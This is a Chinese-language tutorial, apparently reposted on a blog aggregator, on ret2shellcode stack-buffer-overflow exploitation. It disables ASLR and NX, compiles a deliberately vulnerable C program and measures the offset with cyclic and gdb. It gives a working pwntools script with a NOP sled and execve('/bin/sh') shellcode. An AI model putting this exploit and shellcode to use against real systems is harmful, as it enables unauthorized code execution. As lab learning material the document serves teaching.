字符串溢出(pwn溢出)--ret2shellcode

这篇具有很好参考价值的文章主要介绍了字符串溢出(pwn溢出)--ret2shellcode。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

有些技术再也记不住了。所以记录笔记,下面这个文档写的蛮好的,不过我实际情况和他稍有不同,特此记录pwn溢出入门案例,信息安全https://saucer-man.com/information_security/177.html

这里面的例子是常见的栈溢出,例子代码就是如上文中的代码,为了测试方便,如上面作者一样,关闭ASLR ,关闭PIE,这个操作都一样。

ret2shellcode,即控制程序执行 shellcode代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码。在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。也就是说需要关闭NX防护

# 查看ASLR是否开启 
cat /proc/sys/kernel/randomize_va_space  
# 关闭ASLR  
sudo su  
echo 0 > /proc/sys/kernel/randomize_va_space

# 开启系统转储查看是否开启:
ulimit -c   (如果是0就是关着的)
# 开启转储 
ulimit -c unlimited
# 设置转储文件位置为/tmp文件夹下面
sudo su
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'
#include <stdio.h>
#include <unistd.h>
void readbuf()
{
    char buffer[100];
    read(0, buffer, 200);
}
int main(int argc, char *argv[])
{
    readbuf();
    write(1, "Hello, PWN!\n", 12);
    return 0;
}

编译参数 ,这里使用32位,64位汇编码和32位有很大的不同,使用32位可以降低一下分析难度

gcc -O0 -no-pie -m32 -fno-stack-protector -z execstack -o test test.c

字符串溢出(pwn溢出)--ret2shellcode

使用cyclic字符串生成工具生成一个字符串,也可以使用其他pwn 字符串生成 工具,这种工具主要目的是为了计算字符串起始地址到崩溃的栈地址的长度 

字符串溢出(pwn溢出)--ret2shellcode

 gdb 调试test,然后输入字符串,可以看到崩溃在eip 0x62616164(daad)字符串溢出(pwn溢出)--ret2shellcode

cyclic 测算结果112个字节 ,当然除了使用cyclic这种计算方式,也可以使用ida打开反汇编来记性计算,或者动态调试来计算。只是难度稍高

字符串溢出(pwn溢出)--ret2shellcode

这里有的博客说gdb和真实环境测算结果是不一样,我使用转储测试一下,结果确实不同

这个是正常跑的时候,通过转储发给gdb调试

字符串溢出(pwn溢出)--ret2shellcode

 我们可以看到buffer首地址在0xffffd4d8+4的位置,也就是ecx的位置0xffffd4dc

字符串溢出(pwn溢出)--ret2shellcode

字符串溢出(pwn溢出)--ret2shellcode

 这个是直接gdb调试的时候 ,可以看到buffer首地址在0xffffd498+4的位置,也就是ECX的地址0xffffd49c确实会有不同

 字符串溢出(pwn溢出)--ret2shellcode

 直接gdb调试buffer首地址

字符串溢出(pwn溢出)--ret2shellcode

 编写这样的代码,其中buff_addr我们可以替换上述的gdb调试的地址和转储发现的地址,再次测试哪种是真实的情况,其中\x90是雪橇字符,在不使用雪橇字符的情况下有时候会不成功。

如果buff_addr无法计算精准(实际可能没有调试环境)可以把\x90的字符串拉长,然后增加bufffer的地址,前提是总长度在溢出padding计算长度范围

from pwn import *
proc = process('./test1')
shellcode = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
shellcode += "\x31\xc9\xf7\xe1\x51\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
buff_addr = p32(0xffffd4dc)
payload = shellcode + 'B'*(112 - len(shellcode)) + buff_addr
proc.send(payload)
proc.interactive()

使用0xffffd4dc地址测试成功 ,说明gdb直接调试确实是不行的

字符串溢出(pwn溢出)--ret2shellcode

ret2shellcode的整理利用原理如下图,属于最理想的一种情况:
 

字符串溢出(pwn溢出)--ret2shellcode文章来源地址https://www.toymoban.com/news/detail-431248.html

到了这里,关于字符串溢出(pwn溢出)--ret2shellcode的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【PWN · IntegerOverflow & ret2text】[BJDCTF 2020]babystack2.0

    第一次遇见整数溢出的题目,值得记录一下(虽然这里的整数溢出很简单 目录 前言 一、整数溢出 二、解题思路 1.ELF/checksec查看保护 2.IDA反汇编 3.整数溢出  4.exp编写 总结 整数溢出漏洞——对于有/无符号数,长/短位宽转换时机器码的变换策略所指。 如果一个整数用来计算

    2024年02月06日
    浏览(35)
  • 格式化字符串走过的坑 pwn109

    格式化字符串走过的坑 pwn109 今天做的一道题有一个坑我调试半天终于打通了,格式化字符串的坑,确实不少,东西也比较多容易忘记,怎么说呢,功夫在平时,经验少了 老规矩先看一下保护 Full RELRO意味着got不能修改也就是不能通过格式化字符串漏洞来改got表,但是nx保护关

    2024年04月08日
    浏览(43)
  • PWN学习之格式化字符串及CTF常见利用手法

    格式化字符串漏洞是一种常见的安全漏洞类型。它利用了程序中对格式化字符串的处理不当,导致可以读取和修改内存中的任意数据。 格式化字符串漏洞通常发生在使用 C 或类似语言编写的程序中,其中  printf 、 sprintf 、 fprintf  等函数用于将数据格式化为字符串并进行输出

    2024年02月19日
    浏览(29)
  • 【pwn】[SWPUCTF 2022 新生赛]InfoPrinter--格式化字符串漏洞,got表劫持,data段修改

    下载附件,checksec检查程序保护情况: No RELRO ,说明got表可修改 接下来看主程序: 函数逻辑还是比较简单,14行出现格式化字符串漏洞,配合pwntools的fmtstr_payload模块可直接攻击,然后就是题目提供了libc,然后第10行又泄露puts函数的地址,可直接计算出基址,然后就是/bin/sh这

    2024年02月08日
    浏览(32)
  • CSS(ellipsis) 用百分比宽度将字符串溢出部分显示为省略号

    通常使用 ellipsis 将溢出部分显示为省略号必须给出指定像素宽度(width:200px),这样不方便共享响应式的样式定义,经过查资料,可以用 CSS 的 calc() 函数实现。

    2024年02月07日
    浏览(32)
  • CTF学习笔记——ret2text

    ret2text 应该算是PWN里面比较简单的题型了,这种题型有个显著特征,就是会有个很明显的后门函数,也就是 system(\\\"/bin/sh\\\") ,我们只需要将我们的程序跳转到后门函数即可。不过我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是

    2024年02月04日
    浏览(29)
  • 华科信息系统安全作业: 利用ret2libc实现控制流劫持

            main()函数分析         要进行劫持的目标程序如下          主程序这里三段代码的功能都是进行简单的安全防护           我们可以找到 geteuid() 与 setreuid() 函数的相关解释,简单来说,euid(有效用户)是创建程序的用户id,uid(真实用户)是运行程序过

    2024年02月04日
    浏览(28)
  • 【HUST】信息系统安全:Ret2libc多函数调用,ASLR两种情况(1)

    Ret2libc:Return to libc,顾名思义,就是通过 劫持控制流使控制流指向 libc 中的系统函数,从而实现打开shell等其他工作。 在本次作业中,我们的目标是通过运行stack.c程序来访问系统上的/tmp/flag程序的内容,其中,可以看到stack.c的程序的源代码如下:         其中不难发现rea

    2024年02月04日
    浏览(26)
  • 反转字符串 反转字符串 || 反转字符串 |||

     代码: 代码: 可以双指针 也可以用栈来做 代码:

    2024年02月09日
    浏览(32)
  • 字符串解码:给一个字符串,返回解码后的字符串。

    字符串解码,给一个字符串s,返回解码后的字符串。字符串编码规则为k[str]表示括号内部str字符串正好重复k次,k保证为整数,并且输入的字符串肯定符合这种编码规则不会有额外的空格。 注意事项: 注意括号可能发生嵌套,例如输入字符串为 3[a2[c]] 应该返回accaccacc 1 = s

    2024年02月16日
    浏览(30)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包